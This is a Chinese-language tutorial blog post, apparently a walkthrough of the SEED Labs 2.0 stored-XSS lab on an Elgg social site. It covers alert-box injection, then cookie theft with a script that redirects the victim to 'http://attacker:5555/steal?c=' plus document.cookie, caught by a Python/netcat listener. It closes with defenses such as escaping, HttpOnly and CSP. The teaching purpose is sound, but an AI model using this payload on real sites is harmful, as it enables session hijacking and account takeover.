怎样才算真正“会”XSS?很多人能背出定义,但真让他复现一遍“注入-存储-触发-窃取”的完整链路,大概率会卡在环境上。SEED Labs 2.0是我用过最适合做这件事的教学实验环境:它自带一个预配置好的Elgg社交平台靶场,攻击者、受害者、服务器都在同一套隔离环境里,从弹窗验证到Cookie窃取都有现成场景,不需要你自己搭站点、配数据库、写登录逻辑。这篇博文就是一份从零到一的实操记录,写给正在学Web安全、或者想补一课系统复现XSS的同学。读完你不仅能复现弹窗,还能把受害者Cookie转到自己监听的端口上,并且搞明白每一步为什么这么走。
1. 实验环境准备与整体设计思路
1.1 为什么选SEED Labs 2.0而不是自己搭靶场
我见过很多同学想学XSS,第一反应是“自己装个Apache写个留言板”。想法没错,但那只能用来观察简单场景,做不了存储型跨用户实验,更别提Cookie窃取需要同时扮演攻击者和受害者两个“人”。自己搭一套至少有这些麻烦:数据库表要设计、登录态要自己做、还要保证注入点“既不安全也不过分不安全”。
SEED Labs 2.0把这层脏活全干完了。它基于Ubuntu的预配置虚拟机,里面跑着若干Docker容器,其中最重要的就是一个Elgg开源社交平台。为什么要用现成的社交平台而不是自写页面?因为XSS的高发场景就是“用户输入的内容被其他用户看到”——个人资料、留言、好友动态,这些在社交平台里天然存在。Elgg自带完整的用户体系、会话管理和数据库,你只需要把一个用户当攻击者、另一个用户当受害者即可,省掉从零搭Web应用的时间,专注在攻击链本身。
另外这套环境是配套实验文档的。每个实验目录里都有任务书,一关一关引导:先弹窗,再弹Cookie,再把Cookie外传,最后尝试会话劫持。上手门槛低,但深度足够,做完对整个XSS链条的体会和看十篇博客都不一样。
提示:这里的目的是学习漏洞原理与防御方法,所有操作都只在这套隔离的教学靶场内进行。不要对任何真实网站做同类测试,那属于越权与违法。
1.2 环境启动与靶场网络结构
SEED Labs 2.0的启动方式,不同分发包略有区别,但核心是一致的:把虚拟机导入VMware或VirtualBox,开机后在终端里把容器组拉起来。我实际操作时通常先跑docker-compose up -d(如果对应实验文件里有配置文件),然后验证容器是否都起来了。
完成容器启动后,一个重要动作是确认浏览器能访问实验站点。Elgg的域名在环境里已经写入了/etc/hosts,一般是www.seed-server.com,直接在浏览器打开即可。登录页是标准的Elgg界面,能看到一个登录表单,说明后端PHP、MySQL都正常。
需要注意,实验环境里有几个关键的“角色”,我用下面这张表说明它们的分工:
| 角色 | 在本实验中的身份 | 作用 |
|---|---|---|
| Elgg网站 | www.seed-server.com | 存放用户资料和会话Cookie的靶子 |
| 攻击者容器 | attacker | 接收被窃取Cookie、监听端口 |
| 防御方视角 | 你自己 | 观察请求、分析原理并尝试修补 |
这种多容器设计是我最喜欢SEED的一点:攻击者和靶机放在同一个隔离网段,用容器名就能互通。这意味着后面构造外部连回的payload时,不需要真实公网IP,也不用担心“开着监听会不会有奇怪流量进来”。环境内自闭环,安全又方便。
2. XSS三种类型的核心原理拆解
2.1 存储型、反射型、DOM型怎么区分
动手之前,先把概念钉死。XSS分三类,很多人混着记,但SEED实验里的重点就是存储型(Stored XSS)。我习惯用一个“数据从哪进、从哪出”的对照来判断:
| 类型 | 恶意脚本来源 | 触发路径 | 典型场景 |
|---|---|---|---|
| 反射型 | URL参数、搜索框 | 用户点击恶意链接,服务器把参数原样带回页面 | 搜索框回显、错误提示 |
| 存储型 | 提交到服务器的内容 | 任何访问该内容的用户都会触发,脚本存在服务器数据库里 | 个人资料、留言板、评论 |
| DOM型 | 浏览器端脚本读URL片段 | 纯前端操作DOM,服务器不参与 | 单页应用路由、hash参数 |
记忆技巧就一句话:反射型是“一次性快递”,你发出去、立刻弹回来;存储型是“长期潜伏”,脚本住进了服务器数据库,谁看谁中招;DOM型是“屋里出鬼”,程序自己读了自己的URL参数放进页面。三种里最危险、也最适合做教学演示的就是存储型,因为它的“攻击-受害”角色分离非常清晰:Alice写一次,Bob访问一次,就被打了一次。
2.2 浏览器为什么会执行“不怀好意”的脚本
要说清楚XSS,得先理解浏览器的一个重要心态:它把从服务器拿回来的HTML和JavaScript当成“自己人”。浏览器有同源策略,会限制不同源的页面互相读写,但它天生信任当前页面里的脚本,因为脚本本来就是网站自己要执行的业务逻辑。
问题出在“脚本混进了内容里”。Elgg页面输出用户资料的时候,是把数据库里的字符串直接拼进HTML返回的。如果攻击者在资料字符串里写了<script>alert('XSS')</script>,浏览器解析HTML时看到<script>标签就会老老实实执行里面的JavaScript。它不知道这段脚本是攻击者留下的,只知道“这个标签是HTML规范承认的,我执行”。
这就是XSS真正的杀伤力所在:它借了网站的信任来跑自己的代码。在受害者浏览器里,这段脚本拥有和网站自身脚本一样的权限,能读当前页面的Cookie、能发请求、能改页面内容,全看攻击者怎么写。这也是为什么后续能窃取Cookie,继而做会话冒充——因为脚本执行时,浏览器以为这就是Elgg自己写的功能。
3. 从弹窗开始的第一个存储型XSS实验
3.1 准备攻击者与受害者两个账号
SEED的Elgg站点默认是开放的,任何人都能注册。实验里我建议按任务书创建两个账号:一个当攻击者,叫alice;一个当受害者,叫bob。为什么一定两个账号?因为存储型XSS的核心验证点就是“跨用户触发”:如果只有攻击者自己能看见弹窗,那只能说明脚本被渲染了,不能说明其他用户访问也会中招。两个账号才能完整观测“写一次、触发多次”。
注册过程没什么特殊,用户名、邮箱、密码按自己习惯填即可。密码要稍微记牢,因为后面要在两个浏览器会话里来回切换身份。实操建议是开两个浏览器窗口,一个用无痕窗口保持Bob登录态,另一个用普通窗口做Alice操作,这样可以随时切换,不用反复退出登录。这一点很多人忽略,结果实验全程都在“登出-登录”,非常浪费时间。
3.2 在个人简介字段注入弹窗脚本
用Alice登录后,进入个人资料编辑页。Elgg的资料编辑里有两个关键字段:一个是“Brief description”(短描述),一个是“About me”(关于我)。这个区分非常重要,因为实验环境对这两个字段的过滤器配置不一样。
我做的第一个注入,就是在Brief description里输入:
<script>alert('XSS');</script>保存之后,先不要急着切到Bob去看,而是自己先以Alice身份打开个人主页确认一下。这里有个常见认知误区:如果浏览器弹出了alert,很多同学会以为“注入成功了”。实际上这只是“执行了”,真正的存储型XSS还要满足“脚本被持久化保存、其他用户访问时也能执行”。所以正确的验证顺序是:Alice保存 -> 切到Bob -> Bob打开Alice的主页 -> Bob的浏览器弹出提示框。
保存后,页面上Brief description区域会显示这段文字。当你看到页面上出现这串脚本却没有任何提示时,先别慌,这属于正常现象,因为显示文字和执行脚本是两回事。关键是角色切换后的效果。
3.3 受害者视角的触发完整过程
Bob登录后,直接通过Elgg的成员列表或者直接构造URL访问Alice的主页。地址通常就是www.seed-server.com/profile/alice这种形式。打开的一瞬间,如果一切顺利,屏幕上弹出一个写着“XSS”的对话框。
这个时候我建议你做一个容易被忽略的动作:打开浏览器的开发者工具,切到Network面板,再刷新一次Alice的主页。你会看到浏览器向服务器请求了Alice主页的HTML,然后从响应里找到并执行了那段脚本。这能帮你建立“服务器返回的是文本,浏览器解译后才执行脚本”的直观认知。
弹窗达成后,SEED实验的第一个目标就算完成了。但别急着高兴,这个mini攻击在真实世界里几乎无人关心,因为alert除了骚扰受害者没有实际目的。它存在的唯一意义是验证“我的注入点可控、浏览器愿意执行我给的脚本”。下一节开始,才是真正体现危害的环节——把浏览器里的Cookie偷出来。
4. Cookie窃取实战:把会话交到攻击者手上
4.1 先看看Elgg的Cookie长什么样
在窃取之前,得先知道偷的是什么。让Alice的弹窗脚本升级一下,把Cookie直接显示出来:
<script>alert(document.cookie);</script>这次弹窗里显示的就不是固定文字了,而是一串形如Elgg=xxxxxxxxxxxxxxxx的文本。这就是Elgg用来标识“当前登录用户”的会话Cookie。PHP后端靠它识别“当前请求对应哪个账号”——浏览器每次请求Elgg页面时都会自动带上这个Cookie,服务器看到Cookie就知道“哦,这是Bob已登录的会话”。
所以事情就变得非常严重了:如果攻击者能把Bob浏览器里的这个Cookie原样拿到手,再手动放进自己的浏览器里,服务器就会认为“当前用户=Bob”。这就是会话劫持的基本逻辑,整个过程不需要知道Bob的密码。做这一步实验时你就能直观感受到,为什么安全领域反复强调“Cookie泄露约等于账号被接管”。
4.2 搭建一个“回收站”:在攻击者容器里监听端口
弹窗展示Cookie只是第一步,真实攻击中攻击者不可能站在受害者背后抄Cookie,因此要让Cookie“自动飞”到攻击者控制的地址去。这一步需要两个东西:一个能接收HTTP请求的监听服务,以及一段能让受害浏览器把Cookie带到那个服务的JavaScript。
SEED环境里,攻击者容器内部有很多现成工具,最简单的就是用netcat或者Python自带的HTTP服务器。我习惯用Python起一个临时监听:
cd /tmp python3 -m http.server 5555 --bind 0.0.0.0在另一个终端里可以观察访问日志,也可以用nc -l 5555直接看原始请求。注意监听端口要跟后面payload里的端口完全一致,否则请求发过去了没人接,白干。启动监听后,最好先手动访问一下攻击者容器地址,确认这条网络链路是通的。
注意:如果监听服务没有启动,受害者浏览器里的脚本虽然会发出请求,但连接会失败,Cookie也就不会出现在你的屏幕上。排查时先确认“监听有没有开”。
4.3 构造外传Payload并完成窃取
把Alice的Brief description改成下面这段,然后保存:
<script> document.location = 'http://attacker:5555/steal?c=' + document.cookie; </script>这段JavaScript的作用非常直白:把当前页面的Cookie拼在URL参数后面,然后让浏览器跳转到攻击者容器的5555端口。浏览器发起这次请求时,会自动把目标服务器的Cookie带上——不过我们更关心的是URL参数里的Cookie副本。
切到Bob的窗口,重新访问Alice主页。此时Bob的浏览器会先加载Alice的主页,然后执行脚本,接着跳转到http://attacker:5555/steal?c=Elgg=xxx...。在攻击者容器的终端里,能看到类似下面的请求日志:
GET /steal?c=Elgg=abcdef1234567890 HTTP/1.1 Host: attacker:5555到这一步,窃取已经成功了。你手里掌握的是Bob当前会话的Cookie,只要在同一个浏览器的另一个隐私窗口里,用开发者工具修改这个Cookie并刷新页面,就能直接以Bob身份进入Elgg后台。注意,如果你这么做,请确认那是实验环境里你自己的测试账号。这个体验非常值得做一次,做完你就理解为什么安全工程师反复强调HttpOnly和会话固定防护。
4.4 为什么这个Payload能绕过浏览器的限制
有的同学会问:现代浏览器不是有各种安全机制吗?为什么document.location跳转没被拦?核心原因是:这段脚本是在Bob浏览器里,以Elgg的页面上下文执行的,浏览器认为“是网站自己要跳转的”。同源策略只管“不同源之间不能随便读数据”,而这里脚本读取的正是当前源自己的Cookie,浏览器没理由拒绝。
这就是XSS的可怕之处——攻击者不需要攻破浏览器,只需要让被害者的浏览器执行一段属于攻击者的脚本。所谓“跨站”不是说脚本来自别的网站,而是脚本的“主人”和“执行环境”不是同一个信任主体。理解这一点,后面学防御时会顺畅很多。
5. 常见问题与排查技巧实录
5.1 弹窗不出现,先查这5个地方
复现实验时,我遇到的第一个大坑就是弹窗不弹。这里把排查顺序按我实测的有效性排出来:
- 保存后是否用受害者账号重新访问?如果只是Alice自己看,可能只是当前页面缓存了旧HTML,强制刷新一次(Ctrl+F5)。
- 是否注入在了“About me”这种被过滤的字段?这个字段通常会把
<script>标签过滤掉。换到“Brief description”字段再试。 - 看浏览器开发者工具的Network响应,确认脚本是否原样出现在HTML里。如果标签还在但没弹,再检查是不是编码问题。
- 多个容器之间网络不通也会导致无法触发外部连回,但弹窗场景不依赖外部连接,所以弹窗不出现多数是字段选择问题。
- 检查是否开启了浏览器的XSS Auditor或类似防护,部分浏览器会拦截反射型的明显脚本,但对存储型通常不拦。实验环境推荐使用Google Chrome或Firefox,并保持默认配置。
5.2 document.cookie拿不到值是怎么回事
弹窗能弹,但弹出来是空的,或者干脆请求没带上Cookie。这种问题十有八九是HttpOnly标记。如果服务器在设置Cookie时带了HttpOnly属性,JavaScript里的document.cookie就读取不到这个Cookie,这是专门用来防XSS窃取的。
SEED环境里的Elgg默认没有给会话Cookie设置HttpOnly,所以实验通常能成功。但如果你在其他实验环境里复现,麻烦先确认这点。另外,有些环境里Cookie的Secure标记要求HTTPS,如果你用HTTP协议访问页面,也要留意。
还有一种情况:受害者浏览器在跳转到attacker:5555的时候,Chrome可能会因为目标站点是HTTP而当前页面也是HTTP而直接允许,但如果证书或端口异常,会显示“您的连接不是私密连接”。如果出现跳转拦截,可以先把实验环境文档里推荐的访问方式核对一遍,一般教学环境在容器间访问都做了互通,不会出现证书问题。
5.3 从攻击实验反推防御手段
做过一轮完整的存储型XSS和Cookie窃取后,再看防御,真的不是背概念,而是每条都有对应“攻击环节”。我把实验里每一个关键决策对应的防御措施列成一张表:
| 攻击环节 | 依赖条件 | 对应的防御手段 |
|---|---|---|
| 脚本被存进数据库 | 输入未做过滤 | 输出编码、白名单过滤富文本 |
| 脚本被浏览器执行 | 服务器返回了未转义的<script> | 对用户内容进行HTML实体转义 |
| Cookie被JavaScript读取 | Cookie未设置HttpOnly | 会话Cookie加上HttpOnly属性 |
| 窃取的Cookie能冒充会话 | 会话ID未绑定设备信息 | 增加会话绑定校验、缩短有效期 |
| 请求发往攻击者容器 | 页面允许任意跳转 | Content-Security-Policy限制脚本源 |
这些防御不是只在教科书里存在。Elgg官方插件其实有HTML过滤机制,SEED实验是故意在配置里放开了“Brief description”字段的过滤,才让演示成立。你在真实业务里遇到类似场景,不要觉得“过滤一次就安全”,而是要在输出端、Cookie端、CSP策略端、会话管理端同时设防,多层防线才能把XSS的伤害压到最低。
最后说点个人体会。在SEED Labs 2.0里把这条链路完整跑通之后,我最大的感受是:XSS的“简单”是假象。注入脚本确实只要几行,但它能成立,背后是输入输出处理、浏览器信任模型、会话管理策略一整个链条的信任假设。以前我看XSS防御文章,总觉得“转义一下就好了”,亲手窃取过一次Cookie、再亲自冒充受害者会话登录一次后,才明白为什么HttpOnly和CSP总是被反复强调——因为只要有一环没守住,攻击者拿到的就是真实会话。
这个实验后续还能继续扩展,比如用窃取到的Cookie做会话劫持、结合CSRF给受害者发好友请求、或者把资料改成特殊内容来演示“持久性篡改”。如果你正在学Web安全,强烈建议不要只看到弹窗那一步就停,试着把会话冒充闭环做完,再回头把防御策略逐个加回去重跑一遍实验。那才是这套环境最值钱的部分。